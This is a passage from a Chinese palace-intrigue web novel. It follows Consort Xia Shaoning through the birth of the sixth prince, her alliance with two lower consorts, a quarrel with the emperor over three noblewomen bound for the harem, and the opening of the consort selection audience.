因为生孩子实在耗费了太多的精气,等到萧祈安从京郊赶回来随意了擦洗一番再赶到夏韶宁床前的时候,夏韶宁已经沉沉地睡了一觉以后醒了过来。
她甫一睁眼,看见的就是满脸激动的萧祈安,正紧紧地握着她的手,只是她忽然觉得这双手真的很凉。
“陛下的手……怎么这么凉……”夏韶宁抬头看了看萧祈安那张这会儿不比她的脸色好多少的脸,哑着嗓子问道,“外头很凉吗?雨……停了吗?”
“宁儿你终于醒了,朕没事儿!”眼见着夏韶宁终于醒了,刚刚还觉得有些疲惫的萧祈安瞬间露出了笑脸。
“雨停了!咱们的昀儿出生不到一个时辰雨就停了!且不仅停雨了,外头还出了好大的太阳!”
萧祈安一边说,一边对着蕙心使了个眼色。蕙心会意,将窗户推开了一些,一束耀眼的阳光就从窗户的缝隙中打了进来,刚好照到了夏韶宁那张还有些苍白的脸上。
“真的出太阳了!”夏韶宁伸出手来摸了摸自己的脸,感受到了那缕阳光从她的脸上转移到了她的手背上,她的心中也十分开心。
“陛下看过昀儿了吗?”夏韶宁抬起头来看了看萧祈安,眼角眉梢都带着初为人母的笑容,“臣妾只在他生出来的那一刻模模糊糊地瞧了一眼,也不知道他好不好看。”
“咱们的昀儿可是祥瑞之子,连老百姓都说是六皇子的降生给他们带来了阳光和希望!怎能不好看?”
说到这里,辛夷刚好将六皇子从奶娘手里抱了过来。萧祈安见状,自然而然地就将六皇子接了过来。
“嗯,上半部分像陛下,下半部分像臣妾,好看。”
夏韶宁细细端详着自己拼了命才生出的这个孩子,怎么看怎么觉得欢喜。
“宁儿辛苦了。”看着夏韶宁那张苍白的脸,萧祈安打心底里觉得心疼,也为着自己没有在她生产的时候陪在她身边感到一丝愧疚,“是朕不好,没有陪着你……”
“没事的,结果是好的就好了,不是吗?”这会儿的夏韶宁根本不介意萧祈安没能陪她生产,在她看来,没什么事情能比她能平平安安地生下自己的孩子还要重要了。
接下来的好几天,萧祈安甚至让张全和将奏折都搬到了承乾宫。夏韶宁在内殿坐月子,他就在外殿守着她,顺带处理一些公务。
六皇子出生三天后,萧祈安命殿中省给他举行了一场十分隆重的洗三宴。洗三宴结束以后,萧祈安便给六皇子定下了早就取好的名字,上了皇室玉牒。
此时这个出生三天的小人,也拥有了他自己独有的身份。
他是大容国光启帝的第六子,萧衡昀。
虽然萧祈安很舍不得离开夏韶宁和刚刚出生的昀儿,但是因为这雨断断续续下了将近一个月,如今雨停放晴,自然有许多积压的公务要处理。
所以六皇子的洗三宴刚过,萧祈安还是搬回了紫宸殿,继续处理那些繁复的公务。
夏韶宁一点都不在乎这些事情,反正如今她身边有辛夷和四个贴身宫女日夜照顾,自己给昀儿挑的四个奶娘也一个比一个奶量多,两母子正好能暂时远离后宫里那些是是非非,舒舒服服地窝在承乾宫坐月子。
六皇子出生半月后,正好是苏修媛和谢充媛来承乾宫向夏韶宁汇报六宫事务的日子。
“娘娘,苏修媛和谢充媛来了。”蕙心入了内殿,低下头向夏韶宁禀报。
“嗯,请进来吧。”
修养了半个月的夏韶宁如今的精气神已经恢复了许多了,所以听得两人来了,便直接让蕙心将她们请进来了。
刚好,她也有些事情想和两人说。
第两百零八章 阵营
苏修媛与谢充媛得了蕙心的邀请便小心翼翼地入了内殿。
两人进来的时候,奶娘刚给六皇子喂完了奶,夏韶宁正低着头拿着个小拨浪鼓哄着六皇子玩。
“坐吧。”夏韶宁抬起头看了两人一眼,脸上带着一丝初为人母的温柔,“其实你们二人做事本宫放心得很,倒是不用隔半个月都来汇报一次的。”
“臣妾不敢。”听得夏韶宁的话,刚刚坐下的苏修媛立刻从椅子上站了起来,“无论如何,这后宫里的事情始终是娘娘说了算的,臣妾们万万不敢逾矩。”
“行吧,本宫知道你的脾气。你先说吧,等你把事情汇报完了,本宫还有些其他的事情要同你们两人说。”
夏韶宁没有继续同苏修媛纠结这些事,说完这句话她便靠回了床上,等着听苏修媛汇报这半月后宫里的事情。
于是接下来半个时辰,苏修媛与谢充媛便轮流向夏韶宁开始汇报这半月来后宫的发生的大事小事,以及后宫里一些重要的出入项。
夏韶宁手中翻着谢充媛递过来的后宫开支的册子,发现她居然还十分细心地将一些有问题的小项目标了出来,后头甚至还写了注释。
“很好,本宫这里没问题了。”夏韶宁认真听完了两人的汇报,又看完了一些册子,便十分赞赏地对着两人点了点头。
“娘娘,臣妾这儿还有件事,不知当讲不当讲。”主要的事情已经说完了,苏修媛在心中纠结了好一会儿,还是对着夏韶宁开口了。
“你是不是要说,本宫生昀儿那天贤妃在承乾宫外头闹事的事儿?”瞧见苏修媛一脸纠结的样子,夏韶宁边立刻明白她要说什么了。
其实这件事情早在她生产完的第二天兰芷就一五一十地告诉她了,只是她并没有当做一回事罢了。
“其实圣上离宫那日并没有交代臣妾要守着娘娘的承乾宫,实在是那日情况紧急,臣妾又瞧见谢充媛在贤妃娘娘那儿吃了瘪,于是情急之下才说了个谎。”
“臣妾害怕等贤妃娘娘后面反应过来了,会借此事情为由头去向圣上告状,到时候臣妾可就……”
说到这里,苏修媛便不再说话了。
“说起来实在是臣妾的脑子不灵光,若是当时臣妾能想出哪怕一句话将贤妃娘娘的话堵回去,苏修媛便不用说这个谎了。”
听得苏修媛这会儿主动向夏韶宁解释这件事情,谢充媛心中总是有些愧疚。
回想起那天若不是苏修媛及时赶到,就按照贤妃那个性子,一个巴掌她是如何都躲不掉了。
“都是小事,不必放在心上。”看着眼前这两人一副忧心的样子,夏韶宁只是毫不在意地朝着两人摆了摆手。
“那一日本就是她理亏,她哪里还有胆子去圣上面上说那些有的没的。若是她想要去告状,早半月前就去了,何至于到现在都没有行动?”
与萧祈安的这几个女人相处了这些年,夏韶宁其实早就已经将这几个人的性格摸得透透的了。
确实不安分的那几个人早在潜邸的时候就已经被萧祈安处理了。剩下这几个能顺顺利利跟着进宫的,虽然各自心中难免有些无法宣之于口的小心思,但是若是真的论起心狠手辣的,还真的数不出来一个。
“我与你们说明了吧,唐贤妃自从当年云锦那件事情以后,说白了就是个纸老虎了。如今她不过也就占了个大皇子母妃的名头,圣上还肯给她一点脸面。她若是还要在背后搞些有的没的,这点脸面怕是哪天都该没了。”
面对眼前这两人,夏韶宁丝毫不避讳自己对于唐贤妃的厌恶。
反正早在潜邸时就是撕破脸皮的了,也没必要谈什么虚伪的姐妹情深了。
果然,听得贵妃娘娘这番安慰,刚刚还面色苍白的两人忽然就肉眼可见地放松了下来。
“娘娘既然这么说,臣妾就放心了。”苏修媛对着夏韶宁福了福身子,顿了一会儿,忽然又想起一件事情。
“娘娘还有半个来月就出月子了,到时候可就是九月初了,算一算时间,应当还有不到半月就该选秀了。”
“这后宫里有些人早就对臣妾与谢充媛手握着这协理六宫的权利不满了,既然恰逢选秀这般大事,臣妾与谢充媛想着,倒不如就趁着这个机会将这协理六宫的权利交还给娘娘……”
说到这里,苏修媛便与谢充媛偷偷对视了一眼,两人都微不可闻地对着彼此点了点头。
“嗯?看起来这是你们两人商量好的?”听得苏修媛的话,夏韶宁不自觉地将目光投到了对面两人的身上,却见二人神色坦然,一看就是早就说好了的。
“是,不瞒娘娘说,苏修媛的家世与位分倒是配得上这协理六宫的权利。只是臣妾……到底让人瞧着有些名不正言不顺了。”
当初圣上赐下协理六宫的权利给她的时候,谢充媛就没想过要把着这个权利不撒手。
她最大的愿望就是希望圣上通过这件事情能念着她哪怕一点好,能给她升一升位分就不错了。
“那看来咱们三人倒是心意相通了。”夏韶宁并没有接着谢充媛的话说下去,她顿了一会儿,忽然就笑了。
“圣上一天没有收回你们手里协理六宫的权利,你们就一天别想躲懒,好好收着属于你们的权利。本宫这还坐月子呢,难不成你们二人就忍心看着本宫拖着这具刚生完孩子的身子去操心后宫那些繁琐的事儿了?”
夏韶宁说这话的时候声音并不大,只是语气却是少见的认真。
她盯着面前的两人看了好大一会儿,忽然伸出双手一人一只拉过了两人的手。
“眼瞅着又要选秀了,到时候选进宫来的那些女人,脾气秉性咱们都一概不知。既然如今二位明面上已经同本宫站在一条战线上了,那为何不继续同本宫站在一块儿呢?”
“不管从前咱们之间有些什么矛盾或者是误会,本宫都希望从今日开始一切都作废。本宫一直觉得二位是这后宫里难得的通透之人,那咱们日后就继续如之前那样好好相处着,二位觉得可好?”
第两百零九章 反正结果都一样
等到夏韶宁舒舒服服地坐完了月子以后,已经是九月初了。
因着这一个月里有着辛夷和贴身宫女们的细心照顾,出了月子以后夏韶宁就发现自己足足胖了一圈。
当她第三次站在铜镜前试图穿上她怀孕前的衣裳,可是却又一次失败以后,她便彻底放弃了这般“自虐”的行为。
几个贴身宫女看着自家娘娘那皱成包子一样的脸,都忍不住捂着嘴偷偷笑了。
“可惜这些衣裳了,都还挺新的呢。”夏韶宁看着被她翻出的一堆衣裳,轻轻地叹了一口气。
“几件衣裳罢了,让尚衣局重新给你做几身便是了,叹个什么气。”
夏韶宁正收拾衣裳,便听见身后传来了一阵熟悉的声音。她一回头,果然瞧见萧祈安从外头走了进来。
“衣裳小了是衣裳的错,不是你的错。”
“陛下的嘴是越发甜了!”虽然知道萧祈安这话是胡乱说说安慰自己的,但是听得夏韶宁的耳朵里她还是十分高兴。
哪个女人不喜欢听好听的话呢?当然,不管这个说好听话的人是自己的丈夫还是别人。
“这还没到晌午呢,陛下怎么有空来臣妾这儿?”
夏韶宁放下手中的衣裳往外头看了看,估摸着萧祈安这是下了大朝会便直接就到她宫里来了。
“朕好几日没瞧见昀儿了,想来看看他。”
他的话一出口,便见六皇子的奶娘极有眼色地将六皇子抱了出来。
“嗯,重了不少。”萧祈安从奶娘手中接过六皇子,只稍稍掂了掂,便觉得这孩子比前几日又重了些。
“这孩子也不知像了谁了,喝起奶来那叫一个厉害。臣妾给他准备了四个奶娘,这每日才能堪堪满足他的需要。”
夏韶宁俯下身子轻轻碰了碰六皇子的小脸,便瞧见闭着眼睡得香甜的六皇子忽然就笑了起来。
“能吃是福,咱们昀儿是个有福的孩子。不像沈婕妤生的那两个孩子,如今都快两岁了,走路都还走不利索。”
一说到四皇子和五皇子,萧祈安的语气都变得不好了起来。
说起来这两兄弟也算是命大,这一年多经历了不知多少次差点就要没了命的重病,还真给沈婕妤照顾回来了。
一直到这两个孩子过了周岁,萧祈安瞧见他们大概是能立得住了,这才给这两兄弟取了名字,上了皇家玉牒。
四皇子叫萧衡康,五皇子叫萧衡茂。还别说,这名字起得还真是够简单直白的。
“陛下看昀儿就看昀儿,说别人做什么。一会儿昀儿听了,还以为他的父皇不疼他呢!”
夏韶宁不太想就这个话题继续同萧祈安谈论下去了,所以便直接将话题转移了。
“这不是你打岔,朕差点把今天来这儿寻你的目的给忘了。”
萧祈安转过身来将六皇子小心翼翼地递给了奶娘,又对一旁伺候的宫女内侍们摆了摆手,不一会儿,殿内伺候的人便都退了下去。
“前几天母又叫朕去永寿宫说话了。”
说起太后,萧祈安的脸上一如既往满满的都是不耐烦。
“让臣妾猜一猜太后娘娘同陛下说什么了。”看着萧祈安还想继续说下去,夏韶宁急忙抬起手来打断了他。
“是不是……和半月后的选秀有关?”
“朕有的时候真的有些不明白,母后的脑袋里每日都在想些什么?你说她都历经了两朝,也都到了这个年纪了,难道不应该好好安享晚年了吗?为何她整日光想着插手朕后宫里的这点事儿呢?”
说到这里,萧祈安的眉头皱得更紧了。
“她前两日把朕叫去永寿宫,话里话外还是觉得朕膝下的孩子太少了,朕说朕如今都已经有了六个儿子了,哪里孩子太少了?她又扯到朕不立皇后的事情上去了。”
“所以陛下妥协了,这次大选是准备要立皇后了?”
这厢的夏韶宁可没心思听萧祈安抱怨他们两母子那些乱七八糟的恩恩怨怨,她这会儿的注意力全都在“立皇后”这三个字上。
“不立,立了皇后是非多,朕不想立。”
听得夏韶宁这句话,萧祈安立刻摆手表示拒绝。
“朕可太怕再出一个和秦皇后或者叶贵妃那样的人了。如今有宁儿帮朕管着这后宫,朕放心着呢!”
萧祈安说这话的时候,语气又变回了从前还是显庆朝六皇子时的那般玩世不恭。夏韶宁一时之间倒是弄不清楚他这话里到底有几分真几分假。
“陛下就可着臣妾累吧,反正臣妾会找帮手!”
听得萧祈安一幅开玩笑的语气,夏韶宁说话便也带了些撒娇的意味。
“苏修媛和谢充媛这一年来帮着臣妾管理后宫,没有功劳也有苦劳。陛下身边这马上要来新人了,她们两的位份……是不是也该升一升了?”
既然顺嘴提到了苏修媛和谢充媛,夏韶宁也不忘给萧祈安上一上眼药。毕竟是她将她们两人拉到自己阵营的,若是不给人家一点甜头尝一尝,人家如何能够心甘情愿地待在你的身边真心替你办事呢?
“嗯,等新人入宫确定位份的时候,就一并将她们两的位份也提一提吧。”
出乎夏韶宁的意外,听得她的请求,萧祈安居然什么异议都没有直接就答应了下来。
“还有半月就是初选的日子了,到时候还得辛苦宁儿了。你若是觉得苏修媛和谢充媛可靠,让她们帮着点你也行。”
“只不过朕这儿有三个人是必定要入宫的,所以今日来这儿同宁儿透个底。”
萧祈安一边说,一边从腰间抽出了一张纸,铺在了桌子上。
夏韶宁有些疑惑地往那张纸上看去,只一眼,忽然就怔住了。
“陛下果然还是让傅姑娘入宫了。”
夏韶宁看着纸上的“傅鸣玉”三个字,瞬间觉得有些可笑。
说起来倒不是夏韶宁知道傅鸣玉要进宫就吃醋或是什么的,只是如今她只要一看到傅鸣玉的名字,就总是会想起那一次萧祈安在她面前信誓旦旦地同自己说,他与这个傅姑娘什么关系都没有。
可是如今呢?萧祈安当上皇帝不过才一年,这就着急忙慌地让人家入宫了。打脸真的不要来得太快啊!
果然啊,这些年来不对这个男人付出真心,真是她做的最明智的决定了。
毕竟那句话怎么说的来着?
——反正结果都一样。
第两百一十章 只能接受
“昭贵妃,慎言。”
萧祈安拿出那张纸之后就一直在观察夏韶宁的脸色,猛然听得她居然说出了这番话,他面上立刻浮现出了一丝十分不悦的神情。
“傅将军与傅姑娘这些年来驻守越州,替大容一次又一次打退了南豫的那群蛮子,又在朕登上皇位的这件事情出力最多。这么多年了,傅将军只就向朕提过这一个要求,希望他这唯一的女儿能入宫来。这么一个小小的请求,难道朕不答应吗?”
萧祈安这话说得严肃,说到最后居然扯到了国家层面上了。夏韶宁又听萧祈安谈到这件事情上,连对她的称呼都改了,她忽然就明白这本就是一件板上钉钉的事情。
包括纸上的另外两位女子,一位是大容正一品丞相燕川燕大人的嫡女燕筝,还有一位是正四品黄门侍郎范连溪范大人的庶女范锦。再加上正二品车骑将军傅赟傅将军的嫡女傅鸣玉,这三位女子的母家无一例外都是忠实的“保皇党”。
萧祈安是打定主意非要让她们进宫不可的,毕竟夏韶宁也明白,这前朝与后宫,从来就不是独立存在的两个个体。
“是,臣妾失言。”看着萧祈安满脸严肃的神情,夏韶宁忽然就觉得眼前的一切变得索然无味起来。
她当然害怕这三位家世都在自己之上的女子入了宫来会影响自己的地位,但是皇帝决定了的事情,哪里是她能改变的呢?
她只能接受。
“朕知道你在忧心什么,只是你大可不必这样。只要朕坐在这龙椅上一天,就不会允许有人的地位超过你,你尽可以放心。”
看着夏韶宁脸上那副欲言又止的模样,萧祈安哪里有不明白的。
这三位贵女是必定要入宫的,但是位份高低这种事情,说到底还是他这个皇帝说了算的。
“臣妾有些累了,陛下请便吧。”
虽然萧祈安已经将话说到这个份上了,但是夏韶宁的心里始终还是不舒服。
那种感觉怎么形容呢?虽然无关爱情,但是她总觉得自己之前所有的付出忽然就像个笑话。
就好像你陪着一个人从微时走到了最高位,等到那个人有了权利以后,却很随意地将其他人也提到了和你差不多的位置。
你付出了那么多,而她人的成功似乎却毫不费力。
这厢的萧祈安根本不明白夏韶宁好端端为什么态度就变得如此冷淡了,在他看来,他一个君王能对她能做到如今这个地步,已经很不错了。
再加上前段时间一直处理之前大雨之后的遗留问题,萧祈安已经好几个晚上都没睡过一个好觉了。本来今日来承乾宫是想在这里好好休息一番的,谁知道这丫头张嘴就让他“请便”,萧祈安的火气也“腾”的一下冒了起来!
“欲戴皇冠,必受其重的道理朕希望你明白。你如今已经是大容的贵妃了,有些脾气性格应当也要收一收。”
“既然你不想看见朕,朕走就是。刚好留你一个人好好想一想,等到新人入宫以后你要如何与她们好好相处。”
萧祈安别过头来,留下这句话后便转身离开了。
“嘱咐奶娘看好昀儿,我进去躺一会儿。”
面对萧祈安的离开,夏韶宁没有任何其他的反应,她只是忽然觉得有些累。
她需要好好休息一下。
夏韶宁这一觉就睡到了申时正,还是被小孩子说话的声音给吵醒的。
“母妃,弟弟怎么不说话啊!他是不是不喜欢我啊?”
“母妃,我回宫去把我最喜欢吃的酥心糖拿给弟弟吃好不好?”
“母妃,等弟弟长大了,我要带他去御花园躲猫猫玩!”
……
小女孩的童声童语瞬间将夏韶宁心中的疲惫给驱散了,她没有声张,只是独自起身穿好了衣裳和鞋子,便往外殿走去。
刚一走到外殿,便瞧见谢充媛正带着二公主围在六皇子的小摇篮前,二公主正趴在摇篮前认认真真地看着六皇子。
“娘娘醒了?是不是臣妾和皎皎吵着您了?”
谢充媛一抬头,就瞧见夏韶宁散着头发站在门边看着她们母女俩,忙要拉着二公主给她请安。
“皎皎乖,到昭母妃这里来。”谁知夏韶宁只是对着她摆了摆手,随即蹲下身来对着二公主笑道,“昭母妃很久没见你了。”
二公主见昭母妃对她招手,便兴高采烈地从椅子上爬了下来,朝着夏韶宁小跑了过去。
“贤妃娘娘总对大哥和我说,不许我们同昭母妃还有六弟走得太近。皎皎不想给母妃还有昭母妃惹麻烦,所以一直就不敢来。”
“怎么回事?”听得二公主这没头没尾的话,夏韶宁转头询问站在一旁的谢充媛,“唐贤妃又给你们母女两气受了?”
“娘娘别着急,其实也没什么,臣妾都习惯了。”说起与自己同住在华清宫,还是自己主位的贤妃,谢充媛面上便露出了一丝无可奈何的神情。
“贤妃娘娘自从得知了臣妾与苏修媛要帮着娘娘操办大选之事以后,就总是时不时地旁敲侧击想要从我们这里打听有哪些人家的女子会入宫。”
“苏修媛向来对人冷淡,话也不多,贤妃娘娘从她那里问不出什么,回了华清宫就总爱找臣妾的麻烦。”
“然后又总是在皎皎面前挑拨臣妾与您的关系,所以……”
说到这里,谢充媛便不出声了。
“你别理她,等后头新人入宫定住处的时候,本宫给你换个地方住。”
听得又是唐贤妃在里头作妖,夏韶宁没来由地觉得有些心烦。
“她喜欢作就让她作,到时候那几个身份比她高多了的贵女进宫,本宫看她还能怎么作!”
“娘娘……这是知道有哪些家的女子要入宫了?”
谢充媛敏锐地从夏韶宁的话里得出了一个重要的信息,那就是这一次选秀入宫的女子,家世一定不会差。
“嗯,这大容后宫的天儿,怕是要变了。不过无事,本宫如今尚且能应付得过来。”
第两百一十一章 大选开始
大容的大选一般分为三个阶段,分别是初选,复选和最后的殿选。
初选由殿中省里一些有资历的老嬷嬷进行,基本上就是筛除掉一些身体有缺陷的、身上有明显疤痕、有体味的或者反应不够灵敏的女子。
这番筛选下来,留下的女子则顺利进入到复选中。
而复选,就由夏韶宁带着苏修媛和谢充媛一道进行。
除了萧祈安一开始就说好必定要入选的那三位贵女,夏韶宁带着苏修媛和谢充媛又挑出了十几位容貌举止都不错的女子,进入到了最后的殿选。
殿选一般在体元殿举行,因为是最后一关了,所以这一次是由圣上和太后亲自挑选。
苏修媛和谢充媛是没有资格参与到殿选中的,就连夏韶宁这个贵妃,也只能当一个旁观者。
九月二十,天朗气清,是个适合殿选的好日子。
因为是这一次大选是光启朝举办的第一次选秀,所以萧祈安显得十分的重视。
他今日穿了一身明黄色的朝服,面目严肃地坐在体元殿上首,太后坐在他的身旁,夏韶宁则坐在他们两人下首一点儿的位置。
这一次入了殿选的女子共二十人,先是由内侍和嬷嬷带领着在外头的院子里等候着,四人一组,念到名字的便有序排着队进入到体元殿,由圣上和太后亲自过目挑选。
也许是怕显得太过刻意,第一组进来的秀女中倒是没有那三位贵女。只是其中一名容貌明显在其他秀女之上的女子,倒是引起了太后的注意。
“圣上,这女子容貌过盛可不是一件好事儿啊!”
太后这话虽然是对着萧祈安说的,但是她的目光却有意无意地在坐在下首的夏韶宁身上扫来扫去。夏韶宁心中冷笑一声,想着太后这话也不知道是在点谁呢!
而眼前的萧祈安却好似没有听到太后的话一般,盯着那名容貌绝色的女子看了好一会儿,才对着她出声道,“你是哪家的女子?”
那名女子一开始听得太后说的话,显然有些吓着了。又听得圣上居然点了自己的名,这会儿说话的声音都有些抖。
“给陛下请安,给太后娘娘、昭贵妃娘娘请安!臣女孟南汐,家父……家父是正六品秘书郎孟珂。”
虽然有些怕,但是她还是口齿清楚自报了家门。
听得她的话,萧祈安便没再说什么,只是对着站在一旁的张全和微微的点了点头。
“正六品秘书郎孟珂嫡女孟南汐,留牌子!”
夏韶宁有些好笑地看了一眼坐在萧祈安身边的太后,见她虽然仍旧保持着一贯的端庄举止坐在位置上,但是她那紧握着帕子的手却出卖了她。
她很生气萧祈安没有听她的话。
萧祈安这人本就是个不喜欢按套路出牌的人,这孟南汐虽然貌美,只是看着却是个胆小的。若不是太后特意点了那一句,萧祈安未必会将她留下来。
留下了孟南汐,剩下的几个女子也就没有合适的了,萧祈安便都让赐花退下了。
接下来两组人,萧祈安与太后又分别挑选了两人入选,分别是正七品四门博士何严嫡女何清影以及青州知事林绍嫡女林意浓。
这两名女子家世并不高,看起来也都是温婉乖顺的类型。
难得的是萧祈安和太后对这两人也都很满意。
所以也就都留了牌子。
第四组人上来的时候,夏韶宁明显看见萧祈安的神色变了,她一抬头,果然瞧见傅鸣玉就在其中。
“一晃这么多年不见,傅姑娘出落得更加亭亭玉立了,这些年过得可好?”
萧祈安内定的那三人,太后也早就知道了。只是这会儿瞧见许多年没见的傅鸣玉,太后这才惊觉一晃都过去这么多年了。
“劳太后娘娘惦记,臣女这些年过得挺好的。”
说这话的时候,傅鸣玉的目光一直没有离开萧祈安。夏韶宁就那样凝视着她的眼神,打量着她的表情,忽然才发现自己好像从来没有用这种眼神这种表情望向过萧祈安。
那是一双饱含深情的眼睛,那双眼睛里明明白白写着两个字——欢喜。
这傅鸣玉,怕是比她之前所能想到的还要深爱着萧祈安。
“过得再好,哪有在圣上身边好。”见萧祈安一直不说话,太后直接就排了板,“入宫来陪着圣上吧!”
“正二品车骑将军嫡女傅鸣玉,留牌子!”
从傅鸣玉入殿到最后被留牌子,萧祈安始终一声不吭,但是他的眼睛却并没有离开过傅鸣玉半分。
夏韶宁有些看不懂萧祈安这般举动到底是为了什么。明明就是他让人家入宫的,这会儿又摆了张好像十分为难的脸,给谁看呢?
只不过夏韶宁也没有纠结太久,因为第四组女子退下去之后,最后一组女子也立刻入了殿来。
其中就有丞相燕川的嫡女燕筝,和黄门侍郎的庶女范锦。
“燕大人早就同朕说过,他这女儿年纪虽然不大,但是那端庄的样子倒是显得老成。朕今日一看,果然如此。”
这会儿对着燕筝,萧祈安倒是有心思对着她开起玩笑来了。
夏韶宁本以为一般女子听得这话定会脸红,谁知道面前的燕筝听得萧祈安的话,却只是浅浅地笑了。
“父亲对臣女自小教导的严,臣女这才养成了这般性格。若是陛下不喜欢,臣女以后改了便是。”
她说这话的时候,整个人都是那般落落大方的样子。不知为何,夏韶宁却好像在她身上看到了一丝从前孝端皇后的影子?
“每个人都有每个人的性格,朕瞧着你如今这般就很好,不必改什么。”听得燕筝这番有些俏皮的话,萧祈安便对着她摆了摆手,随后张全和便立刻唱和道,“正一品丞相燕川嫡女燕筝,留牌子!”
眼见着燕筝被留了牌子,就站在她身边的范锦便也不甘示弱地跪下身来对着众人行礼了。
“臣女正四品黄门侍郎范连溪之女范锦给陛下、太后娘娘、昭贵妃娘娘请安。恭祝陛下心想事成,太后娘娘福寿安康,昭贵妃娘娘永葆美丽!”
“你这丫头嘴倒是甜。”太后低下头来打量了一番跪在地上的范锦,见她姿色虽然并不出众,但是言谈举止倒是十分得体。再加上这嘴巴又甜,瞧着到像个天真不爱惹事的,于是便十分满意地点了点头。
“正四品黄门侍郎范连溪庶女范锦,留牌子!”